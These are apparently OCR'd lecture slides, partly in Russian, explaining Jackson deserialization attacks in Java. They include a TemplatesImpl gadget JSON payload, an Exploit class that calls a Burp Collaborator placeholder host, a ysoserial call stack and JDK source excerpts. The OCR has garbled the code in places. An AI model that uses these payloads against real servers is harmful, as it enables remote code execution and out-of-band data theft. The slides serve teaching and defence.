Java Jackson Deserialization

Jackson

Jackson is a high-performance JSON processor for Java.

Its developers extol the combination of fast, correct, lightweight, and ergonomic attributes of the library.

Jackson

К объектам, которые сериализуются / десериализуются в JSON есть несколько требований:

- 1. Поля должны быть видимые: или public или иметь getter'ы и setter'ы,
- 2. Должен быть конструктор по умолчанию (без параметров).

Jackson Annotation

Аннотации – это служебная информация для фреймворка Jackson.

Можно очень гибко управлять результатом сериализации в JSON формат, расставляя правильные аннотации.

Аннотация	Описание
@JsonAutoDetect	Ставится перед классом. Помечает класс как готовый к сериализациив JSON.
@JsonIgnore	Ставится перед свойством. Свойство игнорируется при сериализации.
@JsonProperty	Ставится перед свойством или getter'ом или setter'ом. Позволяет задать другое имя поля при сериализации.
@JsonPropertyOrder	Ставится перед классом. Позволяет задать порядок полей для сериализации.

```
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // defaults to OBJECT_AND_NON_CONCRETE
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
```

- JAVA_LANG_OBJECT: properties that have Object as the declared type (including generic types without an explicit type).
- OBJECT_AND_NON_CONCRETE: properties with the declared type of Object or an abstract type (abstract class or interface).
- NON_CONCRETE_AND_ARRAYS: all types covered by OBJECT_AND_NON_CONCRETE and arrays of these element types.
- NON_FINAL: all non-final types except for String, Boolean, Integer, and Double which can be correctly
 inferred from JSON; as well as for all arrays of non-final types.

Exploit

```
{
'id': 124,
'obj':['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',

{
    'transletBytecodes': ['AAIAZQ=='],
    'transletName': 'a.b',
    'outputProperties': {}

}

}
```

Exploit

```
1 import java.io.*;
   import java.net.*;
   public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
     public Exploit() throws Exception {
       StringBuilder result = new StringBuilder();
       URL url = new URL("http://[your-url].burpcollaborator.net");
       HttpURLConnection conn = (HttpURLConnection) url.openConnection();
       conn.setRequestMethod("GET");
10
       BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())):
11
       String line:
12
       while ((line = rd.readLine()) != null) {
13
         result.append(line):
14
15
       rd.close();
16
17
     @Override
     public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.
19
20
21
22
     @Override
23
     public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.
24
25 }
26
```

Call Stack During in Exploitation

```
<init>:56, Pwner60092316258519 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance: 45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance: 422, Constructor (java.lang.reflect)
newInstance: 442, Class (java.lang)
getTransletInstance:340, TemplatesImpl (org.apache.xalan.xsltc.trax)
newTransformer: 369, TemplatesImpl (org.apache.xalan.xsltc.trax)
qetOutputProperties:390, TemplatesImpl (orq.apache.xalan.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke: 43, DelegatingMethodAccessorImpl (sun.reflect)
invoke: 497, Method (java.lang.reflect)
deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize: 260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize: 125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.
   impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.
   jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.
   databind.deser.std)
deserialize: 42, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3789, ObjectMapper (com.fasterxml.jackson.databind)
readValue: 2779, ObjectMapper (com.fasterxml.jackson.databind)
deserialize: 46, Cage (jackson)
main:121, Cage (jackson)
```

```
188
 * Implements JAXP's Templates.getOutputProperties(). We need to
 * instanciate a translet to get the output settings, so
 * we might as well just instanciate a Transformer and use its
 * implementation of this method.
 *1
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    catch (TransformerConfigurationException e) {
        return null;
```

```
* Implements JAXP's Templates.newTransformer()
 * @throws TransformerConfigurationException
public synchronized Transformer newTransformer()
   throws TransformerConfigurationException
   TransformerImpl transformer;
    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);
   if ( uriResolver != null) {
       transformer.setURIResolver( uriResolver);
   if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
   return transformer;
```

```
188
* This method generates an instance of the translet class that is
* wrapped inside this Template. The translet instance will later
* be wrapped inside a Transformer object.
private Translet getTransletInstance()
    throws TransformerConfigurationException {
   try {
       if (_name == null) return null;
       if ( class == null) defineTransletClasses();
       // The translet needs to keep a reference to all its auxiliary
       // class to prevent the GC from collecting them
       AbstractTranslet translet = (AbstractTranslet) class[ transletIndex].newInstance();
       translet.postInitialization();
       translet setTemnlates(this).
```

```
* Defines the translet class and auxiliary classes.
* Returns a reference to the Class object that defines the main class
private void defineTransletClasses()
    throws TransformerConfigurationException {
   if ( bytecodes == null) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    TransletClassLoader loader = (TransletClassLoader)
       AccessController.doPrivileged(new PrivilegedAction() {
           public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(), tfactory.getExternalExtensionsMap());
       });
    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];
       if (classCount > 1) {
            _auxClasses = new Hashtable();
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
           final Class superClass = class[i].getSuperclass():
           // Check if this is the main class
           if (superclass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
           else {
                _auxClasses.put(_class[i].getName(), _class[i]);
        if (_transletIndex < 0) {
           ErrorMsg err= new ErrorMsg(ErrorMsg.NO MAIN TRANSLET ERR, name);
           throw new TransformerConfigurationException(err.toString());
```